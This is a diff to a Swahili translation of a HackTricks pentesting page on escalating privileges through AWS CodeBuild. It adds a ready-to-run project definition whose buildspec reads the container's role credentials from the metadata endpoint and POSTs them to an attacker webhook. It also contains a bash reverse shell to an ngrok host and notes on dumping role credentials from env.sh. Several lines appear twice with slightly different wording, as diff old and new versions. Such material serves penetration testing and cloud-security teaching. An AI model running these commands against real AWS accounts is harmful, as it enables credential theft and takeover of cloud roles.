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Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
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@@ -61,7 +61,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
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**Kumbuka**: Tofauti kati ya amri hizi mbili ni kwamba:
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- `StartBuild` inachochea kazi moja ya kujenga kwa kutumia `buildspec.yml` maalum.
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- `StartBuildBatch` inakuwezesha kuanzisha kundi la ujenzi, kwa mipangilio tata zaidi (kama kuendesha ujenzi kadhaa kwa wakati mmoja).
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- `StartBuildBatch` inakuwezesha kuanzisha kundi la ujenzi, ikiwa na mipangilio tata zaidi (kama kuendesha ujenzi kadhaa kwa wakati mmoja).
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**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa.
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@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
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# Start a build with the new project
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aws codebuild start-build --project-name reverse-shell-project
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```
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{{#endtab }}
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{{#tab name="Example3" }}
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```bash
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# Generated by ex16x41, tested
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# Create a hook.json file with command to send output from curl credentials URI to your webhook address
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{
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"name": "user-project-1",
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"source": {
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"type": "NO_SOURCE",
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"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
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},
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"artifacts": {
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"type": "NO_ARTIFACTS"
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},
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"environment": {
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"type": "LINUX_CONTAINER",
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"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
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"computeType": "BUILD_GENERAL1_SMALL"
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},
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"serviceRole": "ARN-OF-TARGET-ROLE"
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}
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# Create a new CodeBuild project with the hook.json file
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aws codebuild create-project --cli-input-json file:///tmp/hook.json
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# Start a build with the new project
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aws codebuild start-build --project-name user-project-1
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# Get Credentials output to webhook address
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Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
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```
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{{#endtab }}
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{{#endtabs }}
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@@ -142,11 +176,11 @@ aws codebuild start-build --project-name reverse-shell-project
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> [!WARNING]
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> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya env yanayohitajika kufikia **akiba ya metadata**.
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> Faili hii ina **mabadiliko ya env `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
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> Faili hii ina **mabadiliko ya env `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo ina **njia ya URL** ya kufikia akiba. Itakuwa kitu kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
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> Ongeza hiyo kwenye URL **`http://169.254.170.2/`** na utaweza kudump akiba ya jukumu.
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> Zaidi ya hayo, pia ina **mabadiliko ya env `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **habari za metadata kuhusu konteina**.
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> Zaidi ya hayo, pia ina **mabadiliko ya env `ECS_CONTAINER_METADATA_URI`** ambayo ina URL kamili ya kupata **taarifa za metadata kuhusu konteina**.
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### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
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@@ -268,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
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### SSM
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Kuwa na **idhini ya kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa.
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Kuwa na **idhini za kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa.
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Mradi wa codebuild utahitaji kuwa na breakpoint:
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@@ -317,13 +351,13 @@ build:
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commands:
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- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
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```
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**Impact:** Privesc ya moja kwa moja kwa jukumu linalotumiwa na mfanyakazi wa AWS CodeBuild ambalo mara nyingi lina mamlaka ya juu.
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**Impact:** Moja kwa moja privesc kwa jukumu lililotumiwa na mfanyakazi wa AWS CodeBuild ambalo mara nyingi lina mamlaka ya juu.
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> [!WARNING]
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> Kumbuka kwamba buildspec inaweza kutarajiwa kuwa katika muundo wa zip, hivyo mshambuliaji atahitaji kupakua, kufungua, kubadilisha `buildspec.yml` kutoka kwenye saraka ya mzizi, kuzipa tena na kupakia.
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Maelezo zaidi yanaweza kupatikana [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
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**Potential Impact:** Privesc ya moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa.
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**Potential Impact:** Moja kwa moja privesc kwa majukumu ya AWS Codebuild yaliyoambatanishwa.
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{{#include ../../../banners/hacktricks-training.md}}
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